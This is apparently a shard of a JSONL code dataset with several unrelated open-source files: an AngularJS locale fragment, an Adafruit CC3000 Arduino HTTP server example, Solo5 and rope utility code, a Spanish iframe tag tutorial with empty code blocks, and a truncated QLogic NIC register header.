\"short\": \"y-MM-dd HH:mm\",\n \"shortDate\": \"y-MM-dd\",\n \"shortTime\": \"HH:mm\"\n },\n \"NUMBER_FORMATS\": {\n \"CURRENCY_SYM\": \"R\",\n \"DECIMAL_SEP\": \",\",\n \"GROUP_SEP\": \"\\u00a0\",\n \"PATTERNS\": [\n {\n \"gSize\": 3,\n \"lgSize\": 3,\n \"maxFrac\": 3,\n \"minFrac\": 0,\n \"minInt\": 1,\n \"negPre\": \"-\",\n \"negSuf\": \"\",\n \"posPre\": \"\",\n \"posSuf\": \"\"\n },\n {\n \"gSize\": 3,\n \"lgSize\": 3,\n \"maxFrac\": 2,\n \"minFrac\": 2,\n \"minInt\": 1,\n \"negPre\": \"\\u00a4-\",\n \"negSuf\": \"\",\n \"posPre\": \"\\u00a4\",\n \"posSuf\": \"\"\n }\n ]\n },\n \"id\": \"xh-za\",\n \"pluralCat\": function(n, opt_precision) { var i = n | 0; var vf = getVF(n, opt_precision); if (i == 1 && vf.v == 0) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;}\n});\n}]);\n"} +{"text": "\n/***************************************************\n Adafruit CC3000 Breakout/Shield Simple HTTP Server\n \n This is a simple implementation of a bare bones\n HTTP server that can respond to very simple requests.\n Note that this server is not meant to handle high\n load, concurrent connections, SSL, etc. A 16mhz Arduino \n with 2K of memory can only handle so much complexity! \n This server example is best for very simple status messages\n or REST APIs.\n\n See the CC3000 tutorial on Adafruit's learning system\n for more information on setting up and using the\n CC3000:\n http://learn.adafruit.com/adafruit-cc3000-wifi \n \n Requirements:\n \n This sketch requires the Adafruit CC3000 library. You can\n download the library from:\n https://github.com/adafruit/Adafruit_CC3000_Library\n \n For information on installing libraries in the Arduino IDE\n see this page:\n http://arduino.cc/en/Guide/Libraries\n \n Usage:\n \n Update the SSID and, if necessary, the CC3000 hardware pin \n information below, then run the sketch and check the \n output of the serial port. After connecting to the \n wireless network successfully the sketch will output \n the IP address of the server and start listening for \n connections. Once listening for connections, connect\n to the server IP from a web browser. For example if your\n server is listening on IP 192.168.1.130 you would access\n http://192.168.1.130/ from your web browser.\n \n Created by Tony DiCola and adapted from HTTP server code created by Eric Friedrich.\n \n This code was adapted from Adafruit CC3000 library example \n code which has the following license:\n \n Designed specifically to work with the Adafruit WiFi products:\n ----> https://www.adafruit.com/products/1469\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried & Kevin Townsend for Adafruit Industries. \n BSD license, all text above must be included in any redistribution \n ****************************************************/\n#include \n#include \n#include \"utility/debug.h\"\n#include \"utility/socket.h\"\n\n// These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 // MUST be an interrupt pin!\n// These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n// Use hardware SPI for the remaining pins\n// On an UNO, SCK = 13, MISO = 12, and MOSI = 11\n\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); // you can change this clock speed\n\n#define WLAN_SSID \"myNetwork\" // cannot be longer than 32 characters!\n#define WLAN_PASS \"myPassword\"\n// Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define LISTEN_PORT 80 // What TCP port to listen on for connections. \n // The HTTP protocol uses port 80 by default.\n\n#define MAX_ACTION 10 // Maximum length of the HTTP action that can be parsed.\n\n#define MAX_PATH 64 // Maximum length of the HTTP request path that can be parsed.\n // There isn't much memory available so keep this short!\n\n#define BUFFER_SIZE MAX_ACTION + MAX_PATH + 20 // Size of buffer for incoming request data.\n // Since only the first line is parsed this\n // needs to be as large as the maximum action\n // and path plus a little for whitespace and\n // HTTP version.\n\n#define TIMEOUT_MS 500 // Amount of time in milliseconds to wait for\n // an incoming request to finish. Don't set this\n // too high or your server could be slow to respond.\n\nAdafruit_CC3000_Server httpServer(LISTEN_PORT);\nuint8_t buffer[BUFFER_SIZE+1];\nint bufindex = 0;\nchar action[MAX_ACTION+1];\nchar path[MAX_PATH+1];\n\nvoid setup(void)\n{\n Serial.begin(115200);\n Serial.println(F(\"Hello, CC3000!\\n\")); \n\n Serial.print(\"Free RAM: \"); Serial.println(getFreeRam(), DEC);\n \n // Initialise the module\n Serial.println(F(\"\\nInitializing...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n Serial.print(F(\"\\nAttempting to connect to \")); Serial.println(WLAN_SSID);\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n \n Serial.println(F(\"Connected!\"));\n \n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100); // ToDo: Insert a DHCP timeout!\n } \n\n // Display the IP address DNS, Gateway, etc.\n while (! displayConnectionDetails()) {\n delay(1000);\n }\n\n // ******************************************************\n // You can safely remove this to save some flash memory!\n // ******************************************************\n Serial.println(F(\"\\r\\nNOTE: This sketch may cause problems with other sketches\"));\n Serial.println(F(\"since the .disconnect() function is never called, so the\"));\n Serial.println(F(\"AP may refuse connection requests from the CC3000 until a\"));\n Serial.println(F(\"timeout period passes. This is normal behaviour since\"));\n Serial.println(F(\"there isn't an obvious moment to disconnect with a server.\\r\\n\"));\n \n // Start listening for connections\n httpServer.begin();\n \n Serial.println(F(\"Listening for connections...\"));\n}\n\nvoid loop(void)\n{\n // Try to get a client which is connected.\n Adafruit_CC3000_ClientRef client = httpServer.available();\n if (client) {\n Serial.println(F(\"Client connected.\"));\n // Process this request until it completes or times out.\n // Note that this is explicitly limited to handling one request at a time!\n\n // Clear the incoming data buffer and point to the beginning of it.\n bufindex = 0;\n memset(&buffer, 0, sizeof(buffer));\n \n // Clear action and path strings.\n memset(&action, 0, sizeof(action));\n memset(&path, 0, sizeof(path));\n\n // Set a timeout for reading all the incoming data.\n unsigned long endtime = millis() + TIMEOUT_MS;\n \n // Read all the incoming data until it can be parsed or the timeout expires.\n bool parsed = false;\n while (!parsed && (millis() < endtime) && (bufindex < BUFFER_SIZE)) {\n if (client.available()) {\n buffer[bufindex++] = client.read();\n }\n parsed = parseRequest(buffer, bufindex, action, path);\n }\n\n // Handle the request if it was parsed.\n if (parsed) {\n Serial.println(F(\"Processing request\"));\n Serial.print(F(\"Action: \")); Serial.println(action);\n Serial.print(F(\"Path: \")); Serial.println(path);\n // Check the action to see if it was a GET request.\n if (strcmp(action, \"GET\") == 0) {\n // Respond with the path that was accessed.\n // First send the success response code.\n client.fastrprintln(F(\"HTTP/1.1 200 OK\"));\n // Then send a few headers to identify the type of data returned and that\n // the connection will not be held open.\n client.fastrprintln(F(\"Content-Type: text/plain\"));\n client.fastrprintln(F(\"Connection: close\"));\n client.fastrprintln(F(\"Server: Adafruit CC3000\"));\n // Send an empty line to signal start of body.\n client.fastrprintln(F(\"\"));\n // Now send the response data.\n client.fastrprintln(F(\"Hello world!\"));\n client.fastrprint(F(\"You accessed path: \")); client.fastrprintln(path);\n }\n else {\n // Unsupported action, respond with an HTTP 405 method not allowed error.\n client.fastrprintln(F(\"HTTP/1.1 405 Method Not Allowed\"));\n client.fastrprintln(F(\"\"));\n }\n }\n\n // Wait a short period to make sure the response had time to send before\n // the connection is closed (the CC3000 sends data asyncronously).\n delay(100);\n\n // Close the connection when done.\n Serial.println(F(\"Client disconnected\"));\n client.close();\n }\n}\n\n// Return true if the buffer contains an HTTP request. Also returns the request\n// path and action strings if the request was parsed. This does not attempt to\n// parse any HTTP headers because there really isn't enough memory to process\n// them all.\n// HTTP request looks like:\n// [method] [path] [version] \\r\\n\n// Header_key_1: Header_value_1 \\r\\n\n// ...\n// Header_key_n: Header_value_n \\r\\n\n// \\r\\n\nbool parseRequest(uint8_t* buf, int bufSize, char* action, char* path) {\n // Check if the request ends with \\r\\n to signal end of first line.\n if (bufSize < 2)\n return false;\n if (buf[bufSize-2] == '\\r' && buf[bufSize-1] == '\\n') {\n parseFirstLine((char*)buf, action, path);\n return true;\n }\n return false;\n}\n\n// Parse the action and path from the first line of an HTTP request.\nvoid parseFirstLine(char* line, char* action, char* path) {\n // Parse first word up to whitespace as action.\n char* lineaction = strtok(line, \" \");\n if (lineaction != NULL)\n strncpy(action, lineaction, MAX_ACTION);\n // Parse second word up to whitespace as path.\n char* linepath = strtok(NULL, \" \");\n if (linepath != NULL)\n strncpy(path, linepath, MAX_PATH);\n}\n\n// Tries to read the IP address and other connection details\nbool displayConnectionDetails(void)\n{\n uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;\n \n if(!cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv))\n {\n Serial.println(F(\"Unable to retrieve the IP Address!\\r\\n\"));\n return false;\n }\n else\n {\n Serial.print(F(\"\\nIP Addr: \")); cc3000.printIPdotsRev(ipAddress);\n Serial.print(F(\"\\nNetmask: \")); cc3000.printIPdotsRev(netmask);\n Serial.print(F(\"\\nGateway: \")); cc3000.printIPdotsRev(gateway);\n Serial.print(F(\"\\nDHCPsrv: \")); cc3000.printIPdotsRev(dhcpserv);\n Serial.print(F(\"\\nDNSserv: \")); cc3000.printIPdotsRev(dnsserv);\n Serial.println();\n return true;\n }\n}"} +{"text": "/*\n * Copyright (c) 2015-2019 Contributors as noted in the AUTHORS file\n *\n * This file is part of Solo5, a sandboxed execution environment.\n *\n * Permission to use, copy, modify, and/or distribute this software\n * for any purpose with or without fee is hereby granted, provided\n * that the above copyright notice and this permission notice appear\n * in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR\n * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n/*\n * block_attach.c: Common functions for attaching to block devices.\n */\n\n#define _GNU_SOURCE\n#define _FILE_OFFSET_BITS 64\n#include \n#include \n#include \n#include \n#include \n\n/*\n * Attach to the block device specified by (path), returning its capacity in\n * bytes in (*capacity).\n */\nint block_attach(const char *path, off_t *capacity_)\n{\n int fd = open(path, O_RDWR);\n if (fd == -1)\n err(1, \"Could not open block device: %s\", path);\n off_t capacity = lseek(fd, 0, SEEK_END);\n if (capacity == -1)\n err(1, \"%s: Could not determine capacity\", path);\n if (capacity < 512)\n errx(1, \"%s: Backing storage must be at least 1 block (512 bytes) \"\n \"in size\", path);\n\n *capacity_ = capacity;\n return fd;\n}\n"} +{"text": "---\ntitle: Iframe Tag\nlocaleTitle: Etiqueta Iframe\n---\n## Etiqueta Iframe\n\nLas etiquetas iframe se utilizan para agregar una página web o aplicación existente a su sitio web dentro de un espacio establecido.\n\nCuando se usan las etiquetas iframe, el atributo src se debe usar para indicar la ubicación de la página web o la aplicación para usar dentro del marco.\n\n```html\n\n \n```\n\nPuede configurar los atributos de ancho y alto para limitar el tamaño del marco.\n\n```html\n\n \n```\n\nLos iframes tienen un borde por defecto, si desea eliminar esto, puede hacerlo usando el atributo de estilo y configurando las propiedades de borde de CSS en ninguno.\n\n```html\n\n \n```\n\n#### Más información:\n\n* [MDN - etiqueta iframe HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)\n* [W3 - especificación iframe HTML 5.2](https://www.w3.org/TR/html5/semantics-embedded-content.html#the-iframe-element)"} +{"text": "from rope.base import codeanalyze\n\n\ndef get_indents(lines, lineno):\n return codeanalyze.count_line_indents(lines.get_line(lineno))\n\n\ndef find_minimum_indents(source_code):\n result = 80\n lines = source_code.split('\\n')\n for line in lines:\n if line.strip() == '':\n continue\n result = min(result, codeanalyze.count_line_indents(line))\n return result\n\n\ndef indent_lines(source_code, amount):\n if amount == 0:\n return source_code\n lines = source_code.splitlines(True)\n result = []\n for l in lines:\n if l.strip() == '':\n result.append('\\n')\n continue\n if amount < 0:\n indents = codeanalyze.count_line_indents(l)\n result.append(max(0, indents + amount) * ' ' + l.lstrip())\n else:\n result.append(' ' * amount + l)\n return ''.join(result)\n\n\ndef fix_indentation(code, new_indents):\n \"\"\"Change the indentation of `code` to `new_indents`\"\"\"\n min_indents = find_minimum_indents(code)\n return indent_lines(code, new_indents - min_indents)\n\n\ndef add_methods(pymodule, class_scope, methods_sources):\n source_code = pymodule.source_code\n lines = pymodule.lines\n insertion_line = class_scope.get_end()\n if class_scope.get_scopes():\n insertion_line = class_scope.get_scopes()[-1].get_end()\n insertion_offset = lines.get_line_end(insertion_line)\n methods = '\\n\\n' + '\\n\\n'.join(methods_sources)\n indented_methods = fix_indentation(\n methods, get_indents(lines, class_scope.get_start()) +\n get_indent(pymodule.pycore.project))\n result = []\n result.append(source_code[:insertion_offset])\n result.append(indented_methods)\n result.append(source_code[insertion_offset:])\n return ''.join(result)\n\n\ndef get_body(pyfunction):\n \"\"\"Return unindented function body\"\"\"\n # FIXME scope = pyfunction.get_scope()\n pymodule = pyfunction.get_module()\n start, end = get_body_region(pyfunction)\n return fix_indentation(pymodule.source_code[start:end], 0)\n\n\ndef get_body_region(defined):\n \"\"\"Return the start and end offsets of function body\"\"\"\n scope = defined.get_scope()\n pymodule = defined.get_module()\n lines = pymodule.lines\n node = defined.get_ast()\n start_line = node.lineno\n if defined.get_doc() is None:\n start_line = node.body[0].lineno\n elif len(node.body) > 1:\n start_line = node.body[1].lineno\n start = lines.get_line_start(start_line)\n scope_start = pymodule.logical_lines.logical_line_in(scope.start)\n if scope_start[1] >= start_line:\n # a one-liner!\n # XXX: what if colon appears in a string\n start = pymodule.source_code.index(':', start) + 1\n while pymodule.source_code[start].isspace():\n start += 1\n end = min(lines.get_line_end(scope.end) + 1, len(pymodule.source_code))\n return start, end\n\n\ndef get_indent(project):\n return project.prefs.get('indent_size', 4)\n"} +{"text": "/* QLogic qed NIC Driver\n * Copyright (c) 2015-2017 QLogic Corporation\n *\n * This software is available to you under a choice of one of two\n * licenses. You may choose to be licensed under the terms of the GNU\n * General Public License (GPL) Version 2, available from the file\n * COPYING in the main directory of this source tree, or the\n * OpenIB.org BSD license below:\n *\n * Redistribution and use in source and binary forms, with or\n * without modification, are permitted provided that the following\n * conditions are met:\n *\n * - Redistributions of source code must retain the above\n * copyright notice, this list of conditions and the following\n * disclaimer.\n *\n * - Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and /or other materials\n * provided with the distribution.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\n#ifndef REG_ADDR_H\n#define REG_ADDR_H\n\n#define CDU_REG_CID_ADDR_PARAMS_CONTEXT_SIZE_SHIFT \\\n\t0\n\n#define CDU_REG_CID_ADDR_PARAMS_CONTEXT_SIZE\t\t( \\\n\t\t0xfff << 0)\n\n#define CDU_REG_CID_ADDR_PARAMS_BLOCK_WASTE_SHIFT \\\n\t12\n\n#define CDU_REG_CID_ADDR_PARAMS_BLOCK_WASTE\t\t( \\\n\t\t0xfff << 12)\n\n#define CDU_REG_CID_ADDR_PARAMS_NCIB_SHIFT \\\n\t24\n\n#define CDU_REG_CID_ADDR_PARAMS_NCIB\t\t\t( \\\n\t\t0xff << 24)\n\n#define CDU_REG_SEGMENT0_PARAMS\t\\\n\t0x580904UL\n#define CDU_REG_SEGMENT0_PARAMS_T0_NUM_TIDS_IN_BLOCK \\\n\t(0xfff << 0)\n#define CDU_REG_SEGMENT0_PARAMS_T0_NUM_TIDS_IN_BLOCK_SHIFT \\\n\t0\n#define CDU_REG_SEGMENT0_PARAMS_T0_TID_BLOCK_WASTE \\\n\t(0xff << 16)\n#define CDU_REG_SEGMENT0_PARAMS_T0_TID_BLOCK_WASTE_SHIFT \\\n\t16\n#define CDU_REG_SEGMENT0_PARAMS_T0_TID_SIZE \\\n\t(0xff << 24)\n#define CDU_REG_SEGMENT0_PARAMS_T0_TID_SIZE_SHIFT \\\n\t24\n#define CDU_REG_SEGMENT1_PARAMS\t\\\n\t0x580908UL\n#define CDU_REG_SEGMENT1_PARAMS_T1_NUM_TIDS_IN_BLOCK \\\n\t(0xfff << 0)\n#define CDU_REG_SEGMENT1_PARAMS_T1_NUM_TIDS_IN_BLOCK_SHIFT \\\n\t0\n#define CDU_REG_SEGMENT1_PARAMS_T1_TID_BLOCK_WASTE \\\n\t(0xff << 16)\n#define CDU_REG_SEGMENT1_PARAMS_T1_TID_BLOCK_WASTE_SHIFT \\\n\t16\n#define CDU_REG_SEGMENT1_PARAMS_T1_TID_SIZE \\\n\t(0xff << 24)\n#define CDU_REG_SEGMENT1_PARAMS_T1_TID_SIZE_SHIFT \\\n\t24\n\n#define XSDM_REG_OPERATION_GEN \\\n\t0xf80408UL\n#define NIG_REG_RX_BRB_OUT_EN \\\n\t0x500e18UL\n#define NIG_REG_STORM_OUT_EN \\\n\t0x500e08UL\n#define PSWRQ2_REG_L2P_VALIDATE_VFID \\\n\t0x240c50UL\n#define PGLUE_B_REG_USE_CLIENTID_IN_TAG\t\\\n\t0x2aae04UL\n#define PGLUE_B_REG_INTERNAL_PFID_ENABLE_MASTER\t\\\n\t0x2aa16cUL\n#define PGLUE_B_REG_WAS_ERROR_VF_31_0_CLR \\\n\t0x2aa118UL\n#define PSWHST_REG_ZONE_PERMISSION_TABLE \\\n\t0x2a0800UL\n#define BAR0_MAP_REG_MSDM_RAM \\\n\t0x1d00000UL\n#define BAR0_MAP_REG_USDM_RAM \\\n\t0x1d80000UL\n#define BAR0_MAP_REG_PSDM_RAM \\\n\t0x1f00000UL\n#define BAR0_MAP_REG_TSDM_RAM \\\n\t0x1c80000UL\n#define BAR0_MAP_REG_XSDM_RAM \\\n\t0x1e00000UL\n#define BAR0_MAP_REG_YSDM_RAM \\\n\t0x1e80000UL\n#define NIG_REG_RX_LLH_BRB_GATE_DNTFWD_PERPF \\\n\t0x5011f4UL\n#define PRS_REG_SEARCH_RESP_INITIATOR_TYPE \\\n\t0x1f0164UL\n#define PRS_REG_SEARCH_TCP \\\n\t0x1f0400UL\n#define PRS_REG_SEARCH_UDP \\\n\t0x1f0404UL\n#define PRS_REG_SEARCH_FCOE \\\n\t0x1f0408UL\n#define PRS_REG_SEARCH_ROCE \\\n\t0x1f040cUL\n#define PRS_REG_SEARCH_OPENFLOW\t\\\n\t0x1f0434UL\n#define PRS_REG_SEARCH_TAG1 \\\n\t0x1f0444UL\n#define PRS_REG_SEARCH_TENANT_ID \\\n\t0x1f044cUL\n#define PRS_REG_PKT_LEN_STAT_TAGS_NOT_COUNTED_FIRST \\\n\t0x1f0a0cUL\n#define PRS_REG_SEARCH_TCP_FIRST_FRAG \\\n\t0x1f0410UL\n#define TM_REG_PF_ENABLE_CONN \\\n\t0x2c043cUL\n#define TM_REG_PF_ENABLE_TASK \\\n\t0x2c0444UL\n#define TM_REG_PF_SCAN_ACTIVE_CONN \\\n\t0x2c04fcUL\n#define TM_REG_PF_SCAN_ACTIVE_TASK \\\n\t0x2c0500UL\n#define IGU_REG_LEADING_EDGE_LATCH \\\n\t0x18082cUL\n#define IGU_REG_TRAILING_EDGE_LATCH \\\n\t0x180830UL\n#define QM_REG_USG_CNT_PF_TX \\\n\t0x2f2eacUL\n#define QM_REG_USG_CNT_PF_OTHER\t\\\n\t0x2f2eb0UL\n#define DORQ_REG_PF_DB_ENABLE \\\n\t0x100508UL\n#define DORQ_REG_VF_USAGE_CNT \\\n\t0x1009c4UL\n#define QM_REG_PF_EN \\\n\t0x2f2ea4UL\n#define TCFC_REG_WEAK_ENABLE_VF \\\n\t0x2d0704UL\n#define TCFC_REG_STRONG_ENABLE_PF \\\n\t0x2d0708UL\n#define TCFC_REG_STRONG_ENABLE_VF \\\n\t0x2d070cUL\n#define CCFC_REG_WEAK_ENABLE_VF \\\n\t0x2e0704UL\n#define CCFC_REG_STRONG_ENABLE_PF \\\n\t0x2e0708UL\n#define PGLUE_B_REG_PGL_ADDR_88_F0_BB \\\n\t0x2aa404UL\n#define PGLUE_B_REG_PGL_ADDR_8C_F0_BB \\\n\t0x2aa408UL\n#define PGLUE_B_REG_PGL_ADDR_90_F0_BB \\\n\t0x2aa40cUL\n#define PGLUE_B_REG_PGL_ADDR_94_F0_BB \\\n\t0x2aa410UL\n#define PGLUE_B_REG_WAS_ERROR_PF_31_0_CLR \\\n\t0x2aa138UL\n#define PGLUE_B_REG_INTERNAL_PFID_ENABLE_TARGET_READ \\\n\t0x2aa174UL\n#define MISC_REG_GEN_PURP_CR0 \\\n\t0x008c80UL\n#define MCP_REG_SCRATCH\t\\\n\t0xe20000UL\n#define MCP_REG_SCRATCH_SIZE \\\n\t57344\n#define CNIG_REG_NW_PORT_MODE_BB \\\n\t0x218200UL\n#define MISCS_REG_CHIP_NUM \\\n\t0x00976cUL\n#define MISCS_REG_CHIP_REV \\\n\t0x009770UL\n#define MISCS_REG_CMT_ENABLED_FOR_PAIR \\\n\t0x00971cUL\n#define MISCS_REG_CHIP_TEST_REG\t\\\n\t0x009778UL\n#define MISCS_REG_CHIP_METAL \\\n\t0x009774UL\n#define MISCS_REG_FUNCTION_HIDE \\\n\t0x0096f0UL\n#define BRB_REG_HEADER_SIZE \\\n\t0x340804UL\n#define BTB_REG_HEADER_SIZE \\\n\t0xdb0804UL\n#define CAU_REG_LONG_TIMEOUT_THRESHOLD \\\n\t0x1c0708UL\n#define CCFC_REG_ACTIVITY_COUNTER \\\n\t0x2e8800UL\n#define CCFC_REG_STRONG_ENABLE_VF \\\n\t0x2e070cUL\n#define CDU_REG_CCFC_CTX_VALID0 \\\n\t0x580400UL\n#define CDU_REG_CCFC_CTX_VALID1 \\\n\t0x580404UL\n#define CDU_REG_TCFC_CTX_VALID0 \\\n\t0x580408UL\n#define CDU_REG_CID_ADDR_PARAMS \\\n\t0x580900UL\n#define DBG_REG_CLIENT_ENABLE \\\n\t0x010004UL\n#define DBG_REG_TIMESTAMP_VALID_EN \\\n\t0x010b58UL\n#define DMAE_REG_INIT \\\n\t0x00c000UL\n#define DORQ_REG_IFEN \\\n\t0x100040UL\n#define DORQ_REG_TAG1_OVRD_MODE \\\n\t0x1008b4UL\n#define DORQ_REG_PF_PCP_BB_K2 \\\n\t0x1008c4UL\n#define DORQ_REG_PF_EXT_VID_BB_K2 \\\n\t0x1008c8UL\n#define DORQ_REG_DB_DROP_REASON \\\n\t0x100a2cUL\n#define DORQ_REG_DB_DROP_DETAILS \\\n\t0x100a24UL\n#define DORQ_REG_DB_DROP_DETAILS_ADDRESS \\\n\t0x100a1cUL\n#define GRC_REG_TIMEOUT_EN \\\n\t0x050404UL\n#define GRC_REG_TIMEOUT_ATTN_ACCESS_VALID \\\n\t0x050054UL\n#define GRC_REG_TIMEOUT_ATTN_ACCESS_DATA_0 \\\n\t0x05004cUL\n#define GRC_REG_TIMEOUT_ATTN_ACCESS_DATA_1 \\\n\t0x050050UL\n#define IGU_REG_BLOCK_CONFIGURATION \\\n\t0x180040UL\n#define MCM_REG_INIT \\\n\t0x1200000UL\n#define MCP2_REG_DBG_DWORD_ENABLE \\\n\t0x052404UL\n#define MISC_REG_PORT_MODE \\\n\t0x008c00UL\n#define MISCS_REG_CLK_100G_MODE\t\\\n\t0x009070UL\n#define MSDM_REG_ENABLE_IN1 \\\n\t0xfc0004UL\n#define MSEM_REG_ENABLE_IN \\\n\t0x1800004UL\n#define NIG_REG_CM_HDR \\\n\t0x500840UL\n#define NIG_REG_LLH_TAGMAC_DEF_PF_VECTOR \\\n\t0x50196cUL\n#define NIG_REG_LLH_PPFID2PFID_TBL_0 \\\n\t0x501970UL\n#define NIG_REG_LLH_ENG_CLS_ROCE_QP_SEL\t\\\n\t0x50\n#define NIG_REG_LLH_CLS_TYPE_DUALMODE \\\n\t0x501964UL\n#define NIG_REG_LLH_FUNC_TAG_EN 0x5019b0UL\n#define NIG_REG_LLH_FUNC_TAG_VALUE 0x5019d0UL\n#define NIG_REG_LLH_FUNC_FILTER_VALUE \\\n\t0x501a00UL\n#define NIG_REG_LLH_FUNC_FILTER_VALUE_SIZE \\\n\t32\n#define NIG_REG_LLH_FUNC_FILTER_EN \\\n\t0x501a80UL\n#define NIG_REG_LLH_FUNC_FILTER_EN_SIZE\t\\\n\t16\n#define NIG_REG_LLH_FUNC_FILTER_MODE \\\n\t0x501ac0UL\n#define NIG_REG_LLH_FUNC_FILTER_MODE_SIZE \\\n\t16\n#define NIG_REG_LLH_FUNC_FILTER_PROTOCOL_TYPE \\\n\t0x501b00UL\n#define NIG_REG_LLH_FUNC_FILTER_PROTOCOL_TYPE_SIZE \\\n\t16\n#define NIG_REG_LLH_FUNC_FILTER_HDR_SEL\t\\\n\t0x501b40UL\n#define NIG_REG_LLH_FUNC_FILTER_HDR_SEL_SIZE \\\n\t16\n#define NCSI_REG_CONFIG\t\\\n\t0x040200UL\n#define PBF_REG_INIT \\\n\t0xd80000UL\n#define PBF_REG_NUM_BLOCKS_ALLOCATED_PROD_VOQ0 \\\n\t0xd806c8UL\n#define PBF_REG_NUM_BLOCKS_ALLOCATED_CONS_VOQ0 \\\n\t0xd806ccUL\n#define PTU_REG_ATC_INIT_ARRAY \\\n\t0x560000UL\n#define PCM_REG_INIT \\\n\t0x1100000UL\n#define PGLUE_B_REG_ADMIN_PER_PF_REGION\t\\\n\t0x2a9000UL\n#define PGLUE_B_REG_TX_ERR_WR_DETAILS2 \\\n\t0x2aa150UL\n#define PGLUE_B_REG_TX_ERR_WR_ADD_31_0 \\\n\t0x2aa144UL\n#define PGLUE_B_REG_TX_ERR_WR_ADD_63_32 \\\n\t0x2aa148UL\n#define PGLUE_B_REG_TX_ERR_WR_DETAILS \\\n\t0x2aa14cUL\n#define PGLUE_B_REG_TX_ERR_RD_ADD_31_0 \\\n\t0x2aa154UL\n#define PGLUE_B_REG_TX_ERR_RD_ADD_63_32 \\\n\t0x2aa158UL\n#define PGLUE_B_REG_TX_ERR_RD_DETAILS \\\n\t0x2aa15cUL\n#define PGLUE_B_REG_TX_ERR_RD_DETAILS2 \\\n\t0x2aa160UL\n#define PGLUE_B_REG_TX_ERR_WR_DETAILS_ICPL \\\n\t0x2aa164UL\n#define PGLUE_B_REG_MASTER_ZLR_ERR_DETAILS \\\n\t0x2aa54cUL\n#define PGLUE_B_REG_MASTER_ZLR_ERR_ADD_31_0 \\\n\t0x2aa544UL\n#define PGLUE_B_REG_MASTER_ZLR_ERR_ADD_63_32 \\\n\t0x2aa548UL\n#define PGLUE_B_REG_VF_ILT_ERR_ADD_31_0 \\\n\t0x2aae74UL\n#define PGLUE_B_REG_VF_ILT_ERR_ADD_63_32 \\\n\t0x2aae78UL\n#define PGLUE_B_REG_VF_ILT_ERR_DETAILS \\\n\t0x2aae7cUL\n#define PGLUE_B_REG_VF_ILT_ERR_DETAILS2 \\\n\t0x2aae80UL\n#define PGLUE_B_REG_LATCHED_ERRORS_CLR \\\n\t0x2aa3bcUL\n#define PRM_REG_DISABLE_PRM \\\n\t0x230000UL\n#define PRS_REG_SOFT_RST \\\n\t0x1f0000UL\n#define PRS_REG_MSG_INFO \\\n\t0x1f0a1cUL\n#define PRS_REG_ROCE_DEST_QP_MAX_PF \\\n\t0x1f0430UL\n#define PRS_REG_USE_LIGHT_L2 \\\n\t0x1f096cUL\n#define PSDM_REG_ENABLE_IN1 \\\n\t0xfa0004UL\n#define PSEM_REG_ENABLE_IN \\\n\t0x1600004UL\n#define PSWRQ_REG_DBG_SELECT \\\n\t0x280020UL\n#define PSWRQ2_REG_CDUT_P_SIZE \\\n\t0x24000cUL\n#define PSWRQ2_REG_ILT_MEMORY \\\n\t0x260000UL\n#define PSWRQ2_REG_ILT_MEMORY_SIZE_BB \\\n\t15200\n#define PSWRQ2_REG_ILT_MEMORY_SIZE_K2 \\\n\t22000\n#define PSWHST_REG_DISCARD_INTERNAL_WRITES \\\n\t0x2a0040UL\n#define PSWHST2_REG_DBGSYN_ALMOST_FULL_THR \\\n\t0x29e050UL\n#define PSWHST_REG_INCORRECT_ACCESS_VALID \\\n\t0x2a0070UL\n#define PSWHST_REG_INCORRECT_ACCESS_ADDRESS \\\n\t0x2a0074UL\n#define PSWHST_REG_INCORRECT_ACCESS_DATA \\\n\t0x2a0068UL\n#define PSWHST_REG_INCORRECT_ACCESS_LENGTH \\\n\t0x2a006cUL\n#define PSWRD_REG_DBG_SELECT \\\n\t0x29c040UL\n#define PSWRD2_REG_CONF11 \\\n\t0x29d064UL\n#define 